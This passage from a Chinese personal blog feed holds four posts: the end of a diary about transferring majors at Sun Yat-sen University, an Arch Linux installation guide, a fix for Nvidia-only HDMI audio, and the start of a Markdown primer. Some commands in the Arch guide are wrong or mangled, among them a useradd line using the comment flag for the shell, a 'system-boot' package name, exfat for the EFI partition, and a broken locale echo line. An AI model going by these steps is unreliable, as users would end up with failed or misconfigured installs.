&lt;p&gt;我自 8 月 27 日入住中大南校园，至今已有 19 日。期间印象最深刻的便是二次遴选了，这是一场惊险刺激而幸运的战斗。&lt;/p&gt;
&lt;h3&gt;遴选日志&lt;/h3&gt;
&lt;h4&gt;八月二十八日到九月二日&lt;/h4&gt;
&lt;p&gt;这几日感到深深的落差，明白转专业对我自身的重要性，刻不容缓。担心保密管理太卷且拿管理学学位并非我所望，于是报名智慧交通。&lt;/p&gt;
&lt;p&gt;智慧交通的宣讲会于 8 月 30 日中午 1 点在腾讯会议召开，其培养理念和培养方案都让我喜爱。让我深信自己的选择不错。&lt;/p&gt;
&lt;p&gt;但是同时宣讲群 100 号人里高手云集，有中山医学院的，岭南学院等高分考生，让我不禁开始担心自己是否卷得过他们。&lt;/p&gt;
&lt;h4&gt;九月三日到九月六日&lt;/h4&gt;
&lt;p&gt;这几天对我来说绝对是难熬的。年级学生负责人加码学校要求，我们得在 6 点半左右起床才能吃上早餐并不误考勤时间。而在一天的军训后，晚上 7 点还要上军事理论课，同样被要求严格考勤，一直上到 10 点。由于舍友还处在高考完后的 gap 状态，听着打游戏外放和敲键盘的声音，我往往要 1 点后才能入眠。&lt;/p&gt;
&lt;p&gt;就在这样的环境里，我依照着宣讲会上模糊的要求&quot;高中数学、程序逻辑和专业理解&quot;和热心学长们的信息，在中午和晚上上军理课的时间复习着高中数学，了解着专业特点，在 9 月 4 日下午迎来了笔试。&lt;/p&gt;
&lt;p&gt;考前我是紧张的，因为据往届学长的信息，智能工程学院是一个排外的学院：之前的转专业笔试，曾经创造无一人进面试的事故，此次二次遴选恐怕九死一生。&lt;/p&gt;
&lt;p&gt;考试其实并不难，三点到五点两个小时，只是考五道题，于我而言并没有什么难度。&lt;/p&gt;
&lt;p&gt;考完试我踩着单车，内心顿时轻松许多，感觉自己能触摸笔试满分的界限，但是同时又忧虑大家都分高等于没有区分度，自己反而有被筛选出去的风险，患得患失。&lt;/p&gt;
&lt;p&gt;那天晚上，有惊无险地，我进入了面试名单。于是在那一节军理课，我又开始撰写自我介绍，收集专业信息（包括调查宣讲群里面教授们的项目），直到凌晨一点半才收工睡觉。&lt;/p&gt;
&lt;p&gt;9 月 5 日下午一点半，我难以在室友的键盘声中入眠，于是在顺客隆对面的瑞幸咖啡买了杯冰感生椰，在丰盛堂 C202 候场。&lt;/p&gt;
&lt;p&gt;45 个人进入面试，我抽到了第 40 位面试的号码。在五个小时漫长的等待中，我已经将自我介绍背的滚瓜烂熟。&lt;/p&gt;
&lt;p&gt;然而，他们并不关心我的计算机基础，于是我被压力了。&lt;/p&gt;
&lt;p&gt;本来已经绝望了，但是没想到 9 月 6 日中午，我以 20 名的总成绩进入了录取名单，千钧之重顷刻为之轻。&lt;/p&gt;
&lt;h4&gt;九月七日到九月十五日&lt;/h4&gt;
&lt;p&gt;教务的速度是龟速的，好在二次遴选是学校改革教育意志的体现；智能工程学院对我们这些二次遴选者的实力是怀疑的，好在教授们愿意接受这样一种丰富的生源。我们中的许多，过去是黯淡的，但是或许在未来的学习中能用绩点和其他表现，与 local 智工学生试比高。&lt;/p&gt;
&lt;h3&gt;对未来的担忧&lt;/h3&gt;
&lt;p&gt;目前在智慧交通有以下几个优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;学科实力绝对算不上差，中大和深圳的资源和平台能够支撑新工科的发展。&lt;/li&gt;
&lt;li&gt;培养方案是独一档的，偏泛电子信息类的，受辖于智能工程学院，和智能科学与技术专业共同培养。&lt;/li&gt;
&lt;li&gt;课程有难度，鼓励学生科研进组&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目前也有以下缺点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前途显然在目前没有传统电信和计科的学生好&lt;/li&gt;
&lt;li&gt;交叉学科的学习难度大，学习内容杂，下限低&lt;/li&gt;
&lt;li&gt;我们本科拿的是交通运输的学位&lt;/li&gt;
&lt;li&gt;智能工程学院压低绩点，卡 3.7 的优秀率，不利于转出学生的保研&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总之，机遇和风险并存，目前我唯一能做的如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;卷高绩点，无论留下来还是出去，都不亏&lt;/li&gt;
&lt;li&gt;打好高等数学、线性代数和概率论的数理基础&lt;/li&gt;
&lt;li&gt;争取免修和进组，往智能的方向发展&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;亡国论者看敌人如神物，看自己如草芥，速胜论者看敌人如草芥，看自己如神物，这些都是错误的。我们的意见相反：抗日战争是持久战，最后胜利是中国的——这就是我们的结论。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;教员的&lt;a href=&quot;https://www.marxists.org/chinese/maozedong/marxist.org-chinese-mao-193805b.htm&quot;&gt;《论持久战》&lt;/a&gt;给我力量。加油吧，&lt;strong&gt;不要畏惧，不要轻敌。&lt;/strong&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/indiehospital.BkyU-oQe.png"/><enclosure url="/_astro/indiehospital.BkyU-oQe.png"/></item><item><title>安装 Arch Linux 指南</title><link>https://blog.candlest.cc/blog/linux/archlinux-guide</link><guid isPermaLink="true">https://blog.candlest.cc/blog/linux/archlinux-guide</guid><description>BTW, I Use Arch Linux.</description><pubDate>Tue, 18 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import ProjectSection from &apos;@/components/projects/ProjectSection.astro&apos;;&lt;/p&gt;
&lt;p&gt;目前这篇文章已经很旧了。为了方便中文母语者阅读和中国大陆用户使用，可以参考我参与贡献的 Arch Linux Guide 项目：&lt;/p&gt;
&lt;p&gt;&amp;#x3C;ProjectSection
projects={[
{
name: &apos;arch-guide&apos;,
description: &apos;✨ archlinux 简明指南 | 本指南包含从 archlinux 安装、显卡驱动、日常软件配置、多媒体制作、编程等你可能需要的全部内容 | 提供在线文档 ✨&apos;,
links: [
{ type: &apos;github&apos;, href: &apos;https://github.com/nakanomikuorg/arch-guide&apos; },
{ type: &apos;site&apos;, href: &apos;https://arch.icekylin.online/&apos; }
]
}
]}
/&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;在一切开始之前，我需要说明以下三件事：（爹味溢出，可以跳到后面）&lt;/p&gt;
&lt;p&gt;Arch Linux 一个月一个新版本，安装过程常常有改变，且软件库常有变动，不能保证这篇文章永远正确，最好的安装方式应该是对照英语版的 Arch Linux Wiki。&lt;/p&gt;
&lt;p&gt;学会安装 Arch Linux，学会使用 Vim 和 Emacs，并不能使你的编程能力有什么提高；好比擅长安装 Office 套件和灵活使用 Office，二者不可同日而语焉。（当然，Gentoo 和 LFS 的安装和使用能够让你熟悉 Linux 的文件结构和软件从源代码到可执行文件的编译过程，前提是逃离舒适区，专注于探索与解决问题。）&lt;/p&gt;
&lt;p&gt;美化是没有尽头的，配置是没有尽头的，在二者身上浪费太多的时间，是忽略电脑生产工具事实的本末倒置，是不可取的。时间很宝贵，要用在产出比更高的事情上，要给思考留出时间，给重要的人留出时间。&lt;/p&gt;
&lt;p&gt;希望你过得幸福快乐。&lt;/p&gt;
&lt;h2&gt;安装前的准备&lt;/h2&gt;
&lt;h3&gt;下载映像文件&lt;/h3&gt;
&lt;p&gt;建议使用国内的镜像以加快速度，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tsinghua - TUNA&lt;/li&gt;
&lt;li&gt;LUG@USTC&lt;/li&gt;
&lt;li&gt;SJTUG&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过这些网站稳定、快速、现代的镜像服务，我们能够轻松地下载镜像。&lt;/p&gt;
&lt;h3&gt;刻录镜像&lt;/h3&gt;
&lt;p&gt;准备一个至少 1G 的 USB Disk 作为刻录设备。当然，如果你愿意可以使用 Grub2 直接引导镜像文件（如果有的话），方法见附录。&lt;/p&gt;
&lt;p&gt;在 Windows 下，建议使用 Rufus 刻录。&lt;/p&gt;
&lt;p&gt;在 Linux/Unix like，可以尝试 dd 命令烧录。&lt;/p&gt;
&lt;p&gt;（当然，这并不是最好的方法。事实上对支持 iso 模式启动的映像来说，直接将其解压放入 USB Disk 是一个更加轻松的做法）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo dd if=$archlinux.iso of=$USB_Disk # 自己替换内容
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;更改 BIOS 设置（如果有）&lt;/h3&gt;
&lt;p&gt;关于如何进入 BIOS，根据主板类型有不同的快捷键，比如 Dell 的是 F11，可自行查询。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭安全启动（Secure Boot）&lt;/li&gt;
&lt;li&gt;关闭快速存储技术（Intel Rapid Storage Technology，RST）&lt;/li&gt;
&lt;li&gt;关闭 Windows 的快速启动&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;安装 Arch Linux&lt;/h2&gt;
&lt;p&gt;重启，选择启动项，进入 USB Disk 中的 Live 系统。&lt;/p&gt;
&lt;h3&gt;配置网络&lt;/h3&gt;
&lt;p&gt;有线连接使用 dhcpcd，无线连接使用 iwctl。&lt;/p&gt;
&lt;p&gt;首先开启网卡：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ip link
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里以我的输出为例：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;1: lo: &amp;#x3C;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: enp3s0: &amp;#x3C;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc fq_codel state DOWN mode DEFAULT group default qlen 1000
  link/ether e4:54:e8:0f:d4:ba brd ff:ff:ff:ff:ff:ff
3: wlp4s0: &amp;#x3C;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
  link/ether c0:b5:d7:72:48:4f brd ff:ff:ff:ff:ff:ff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一般以 e 开头的都是有线网卡，比如这里的 enp3s0；一般以 w 开头的都是无线网卡，比如这里的 wlp4s0。&lt;/p&gt;
&lt;p&gt;下面我们开启网卡（默认禁用，有可能也没禁用，但是如果你不能判断的话，运行一次也不会影响）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ip link set wlp4s0 up # 开启 wlp4s0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来连接 Wi-Fi（以下的 wlp4s0 请替换成自己的网卡名）。&lt;/p&gt;
&lt;p&gt;以前是用 wifi-menu 来着，现在改用 iwctl 了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;iwctl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;列出网卡（有刚才的网卡名就成功了）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;station device list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接网络：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;station wlp4s0 scan
station wlp4s0 get-networks
station wlp4s0 connect ${网络名称}
station wlp4s0 show
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入第三条命令后可能会要求输入 Wi-Fi 密码（如果有的话），切忌输入错误。&lt;/p&gt;
&lt;p&gt;测试网络是否已经连接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ping -c 3 www.baidu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;硬盘分区、格式化与挂载&lt;/h3&gt;
&lt;p&gt;这里推荐用 cfdisk，其图形化界面非常友好。&lt;/p&gt;
&lt;p&gt;MBR 启动至少有一个 / 根分区就可以了，UEFI 还要挂载 ESP 分区到 /boot（或者其他目录，但是这样方便 grub、UEFInd 和 system-boot 等引导工具安装）。&lt;/p&gt;
&lt;p&gt;以前推荐使用 ext4 格式化，现在似乎更推荐用性能更好、概念更新的 btrfs（GNU 社区对标 zfs 的项目）。&lt;/p&gt;
&lt;p&gt;对于非 EFI 目录，我们使用 btrfs 分区。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkfs.btrfs ${分区目录}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 EFI 目录，如果已经有了其他系统的引导文件，那就去不复顾，勿动勿虑。反之则使用 exfat 格式化。&lt;/p&gt;
&lt;h3&gt;配置 pacman&lt;/h3&gt;
&lt;p&gt;按速度添加国内源：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;reflector --country China --sort rate --save /etc/pacman.d/mirrorlist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以开启 pacman 颜色显示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vim /etc/pacman.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入 /+#Color，定位到 #Color 那一行。然后 i 到编辑模式，把 # 去掉后输入 :wq 退出 vim。&lt;/p&gt;
&lt;p&gt;然后同步：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -Syy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以顺便安装一些有用的包：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tree：树形图显示目录&lt;/li&gt;
&lt;li&gt;lynx / w3m：命令行浏览器，在之后安装系统的时候可以切换到别的 tty 浏览网页，在命令行下不能显示中文&lt;/li&gt;
&lt;li&gt;fish：开箱即用，非常好用的自动补全&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;挂载分区&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mount ${根分区} /mnt
mkdir /mnt/boot
mount ${ESP分区} /mnt/boot # 如果是 UEFI 的话
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果安装了 tree 命令可以使用该命令检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tree /mnt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安装系统&lt;/h3&gt;
&lt;p&gt;这句命令的意思是安装软件到 /mnt 目录下：（个人强烈推荐 fish）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacstrap -i /mnt linux linux-firmware linux-headers base base-devel vim bash-completion
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;生成 fstab 和 chroot&lt;/h3&gt;
&lt;p&gt;安装完后，生成开机挂载目录的配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;genfstab -U /mnt &gt;&gt; /mnt/etc/fstab
cat /mnt/etc/fstab # 检查一下
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 chroot 进入新系统。&lt;/p&gt;
&lt;h3&gt;Arch，启动！&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;arch-chroot /mnt
arch-chroot /mnt /usr/bin/fish # 如果装了 fish 就输入这句
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;设置用户与密码&lt;/h3&gt;
&lt;p&gt;root 用户密码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建新用户：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;useradd -m -g wheel -c /usr/bin/fish ${user} # 如果有 fish 的话输入 -c 及以后内容
passwd ${user}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置 sudo&lt;/h3&gt;
&lt;p&gt;使用 visudo：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;visudo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入 /+wheel，定位到有 NO PASSWD 那一行。然后 i 到编辑模式，把 # 去掉后输入 :wq 退出。&lt;/p&gt;
&lt;p&gt;（vim 的基本使用方法后面不再详细介绍）&lt;/p&gt;
&lt;h3&gt;本地化&lt;/h3&gt;
&lt;p&gt;设置语言：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vim /etc/locale.gen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自己把 en_US.UTF-8 UTF-8 那一行和 zh_CN.UTF-8 UTF-8 那一行的 # 去掉：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;locale-gen
echo.UTF-8 &gt;&gt; /etc/locale.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安装引导&lt;/h3&gt;
&lt;h4&gt;使用 Grub2&lt;/h4&gt;
&lt;p&gt;grub2 应该是以前最常用的引导管理器了。历史悠久，兼容性好，国内资料也很多，有问题也方便解决。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S grub efibootmgr
grub-install
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;使用 system-boot&lt;/h4&gt;
&lt;p&gt;system-boot 主要针对 gpt 分区与固态硬盘，是 systemd 组件的一部分，继承其简单粗暴的风格。&lt;/p&gt;
&lt;p&gt;安装 bootloader：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S system-boot
bootctl install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bootctl 默认 path=/boot，如果不是需要指定，使用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bootctl install --path=$dir
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置 loader.conf：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vim /boot/loader/loader.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;default arch
timeout 3 # 如果嫌弃的话可以注释掉这行
editor 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数非常的简单明了，启动也非常的快。&lt;/p&gt;
&lt;p&gt;接下来配置 /boot/loader/entries/arch.conf，创建并输入：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;title arch
linux /vmlinuz-linux
initrd /initramfs-linux.img
options root=/dev/nvme0n1p3 rw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：这里的 /dev/nvme0n1p3 是根目录，需要依照实际情况更改。&lt;/p&gt;
&lt;p&gt;更新引导：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bootctl update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用 UEFI 的有兴趣的也可以用 efibootmgr 手动引导和 UEFInd 管理器，这里不再赘述。&lt;/p&gt;
&lt;h3&gt;安装桌面环境（以 KDE 为例）&lt;/h3&gt;
&lt;p&gt;先安装 Xorg 和驱动、中文字体：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S xorg
pacman -S xf86-video-intel vulkan-intel mesa alsa alsa-utils pulseaudio pulseaudio-bluetooth cups
pacman -S noto-fonts noto-fonts-extra noto-fonts-emoji noto-fonts-cjk adobe-source-code-pro-fonts adobe-source-sans-fonts adobe-source-serif-fonts adobe-source-han-sans-cn-fonts adobe-source-han-sans-hk-fonts adobe-source-han-sans-tw-fonts adobe-source-han-serif-cn-fonts wqy-zenhei wqy-microhei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再安装 KDE：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S plasma sddm konsole dolphin kwrite
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安装网络管理器&lt;/h3&gt;
&lt;p&gt;KDE 和 GNOME 默认集成 NetworkManager：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S networkmanager
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;启动服务&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl enable sddm
systemctl enable NetworkManager
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后重启：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;exit
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;欢迎使用 Arch Linux。&lt;/p&gt;</content:encoded><h:img src="/_astro/image.KHiAD8H-.png"/><enclosure url="/_astro/image.KHiAD8H-.png"/></item><item><title>解决Linux只有Nvidia HDM声卡输出的现象</title><link>https://blog.candlest.cc/blog/linux/nvidia-audio</link><guid isPermaLink="true">https://blog.candlest.cc/blog/linux/nvidia-audio</guid><description>这篇文章在 CSDN 未经我同意变成付费文章了。</description><pubDate>Sat, 14 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;解决Linux只有Nvidia HDM声卡输出的现象&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这篇文章在 CSDN 未经我同意变成付费文章了。
原文地址：https://blog.csdn.net/weixin_43594034/article/details/104855855?spm=1001.2014.3001.5501&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;起因&lt;/h3&gt;
&lt;p&gt;前几天刚刚重装了&lt;code&gt;ArchLinux&lt;/code&gt;然后安装桌面后发现声卡不能用，一直在网上找教程找了几天，问题都对不上。倒是在&lt;code&gt;archlinuxcn&lt;/code&gt;论坛找到了一个相同问题的，但是那个帖子莫得回复。&lt;/p&gt;
&lt;p&gt;就在我苦恼的时候，我想起还有&lt;code&gt;Google&lt;/code&gt;这个东西，立马&lt;code&gt;aplay -l&lt;/code&gt;一下，把输出放到&lt;code&gt;Google&lt;/code&gt;就硬搜。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;aplay -l
**** List of PLAYBACK Hardware Devices ****
card 1: NVidia [HDA NVidia], device 3: HDMI 0 [HDMI 0]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 1: NVidia [HDA NVidia], device 7: HDMI 1 [HDMI 1]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 1: NVidia [HDA NVidia], device 8: HDMI 2 [HDMI 2]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 1: NVidia [HDA NVidia], device 9: HDMI 3 [HDMI 3]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实还是毫无结果，但是我在一个帖子里发现了一个东西：&lt;code&gt;sof-audio-pci&lt;/code&gt;。这是一个内核模块，我的电脑只显示&lt;code&gt;Nvidia&lt;/code&gt;声卡的原因似乎就因为这个。&lt;/p&gt;
&lt;p&gt;真棒！&lt;/p&gt;
&lt;h3&gt;解决方案&lt;/h3&gt;
&lt;p&gt;上面水了那么多字数，其实下面才是解决方案：&lt;/p&gt;
&lt;p&gt;编辑&lt;code&gt;Linux Kernel&lt;/code&gt;启动项：这里以使用人数最多的&lt;code&gt;Grub2&lt;/code&gt;为例子：&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;/etc/default/grub&lt;/code&gt;里编辑，在&lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/code&gt;加上&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;snd_hda_intel.dmic_detect=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后保存退出，重新生成&lt;code&gt;Grub Config&lt;/code&gt;：（注意提权）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;grub-mkconfig -o /boot/grub/grub.cfg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启一下，就能看到&lt;code&gt;Intel&lt;/code&gt;的声卡控制芯片了～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/audio-kde.CQFLU6Er_1CDz0p.webp&quot; alt=&quot;audio&quot;&gt;&lt;/p&gt;
&lt;h3&gt;日后谈&lt;/h3&gt;
&lt;p&gt;注意一下，我的电脑只是&lt;code&gt;aplay -l&lt;/code&gt;显示不出设备，但是在&lt;code&gt;lspci | grep audio&lt;/code&gt;能够显示出来&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;00:1f.3 Multimedia audio controller: Intel Corporation Cannon Lake PCH cAVS (rev 10)
&lt;/code&gt;&lt;/pre&gt;</content:encoded><h:img src="/_astro/audio-kde.CQFLU6Er.png"/><enclosure url="/_astro/audio-kde.CQFLU6Er.png"/></item><item><title>Markdown快速入门</title><link>https://blog.candlest.cc/blog/how-to-use-md</link><guid isPermaLink="true">https://blog.candlest.cc/blog/how-to-use-md</guid><description>Markdown 是一种轻量级标记语言，允许人们使用易读易写的纯文本格式编写文档。</description><pubDate>Sat, 17 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Markdown快速参考&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Markdown&lt;/strong&gt; 是一种轻量级标记语言，它允许人们使用易读易写的纯文本格式编写文档。
&lt;strong&gt;Markdown&lt;/strong&gt; 语言在 2004 由约翰·格鲁伯（英语：John Gruber）创建。
&lt;strong&gt;Markdown&lt;/strong&gt; 编写的文档可以导出 &lt;code&gt;.HTML&lt;/code&gt; 、&lt;code&gt;.Word&lt;/code&gt;、&lt;code&gt;.png/jpg&lt;/code&gt;、&lt;code&gt;.PDF&lt;/code&gt;、&lt;code&gt;.Epub&lt;/code&gt; 等多种格式的文档。
&lt;strong&gt;Markdown&lt;/strong&gt; 编写的文档后缀为 &lt;code&gt;.md&lt;/code&gt;, &lt;code&gt;.markdown&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;——摘自&lt;a href=&quot;https://www.runoob.com/markdown/md-tutorial.html&quot;&gt;菜鸟教程&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Markdown&lt;/strong&gt;文档分为两个部分：&lt;strong&gt;标记&lt;/strong&gt;与&lt;strong&gt;文字&lt;/strong&gt;。&lt;strong&gt;标记&lt;/strong&gt;包括&lt;strong&gt;标题&lt;/strong&gt;（#）、&lt;strong&gt;渲染&lt;/strong&gt;（*,~,_）等。&lt;strong&gt;文字&lt;/strong&gt;就是没有特殊含义的字，嗯，就是普通的字符。&lt;/p&gt;
&lt;p&gt;下面是一个例子，帮助你更好的了解&lt;strong&gt;markdown&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# 我是标题
&amp;#x3C;!--我是注释--&gt;
**我是粗体字符**
__我也是粗体字符__
~~我被删除了~~
我是平凡的字符
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;标记&lt;/strong&gt; + &lt;strong&gt;文字&lt;/strong&gt;，就组成了&lt;strong&gt;Markdown&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;标题&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# 一号标题
## 二号标题
### 三号标题
#### 四号标题
##### 五号标题
###### 六号标题
&amp;#x3C;!--没有七号标题！--&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;文字&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;普通字体
*斜体文本*
_斜体文本_
**粗体文本**
__粗体文本__
***粗斜体文本***
___粗斜体文本___
~~删除线~~
`行内内嵌代码`
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;分隔符&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;***
* * *
*****
- - -
----------
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;块&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;​```C
	#include &amp;#x3C;stdio.h&gt; //这是一段C语言代码。
​```
&gt; 我是引用
&gt;&gt; 二级引用
&gt;&gt;&gt; 三级引用

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;列表&lt;/h4&gt;
&lt;p&gt;无序列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;* 第一项
* 第二项
* 第三项

+ 第一项
+ 第二项
+ 第三项


- 第一项
- 第二项
- 第三项
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有序列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;1. 第一项
2. 第二项
3. 第三项
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内嵌列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;1. 第一项：
    - 第一项嵌套的第一个元素
    - 第一项嵌套的第二个元素
2. 第二项：
    - 第二项嵌套的第一个元素
    - 第二项嵌套的第一个元素
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;链接与图片&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;这是一个链接 [bing](https://www.bing.com)
这是一个图片 ![bing](http://a2.att.hudong.com/36/46/05300000993302129747461208128.jpg)]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个链接 &lt;a href=&quot;https://www.bing.com&quot;&gt;bing&lt;/a&gt;
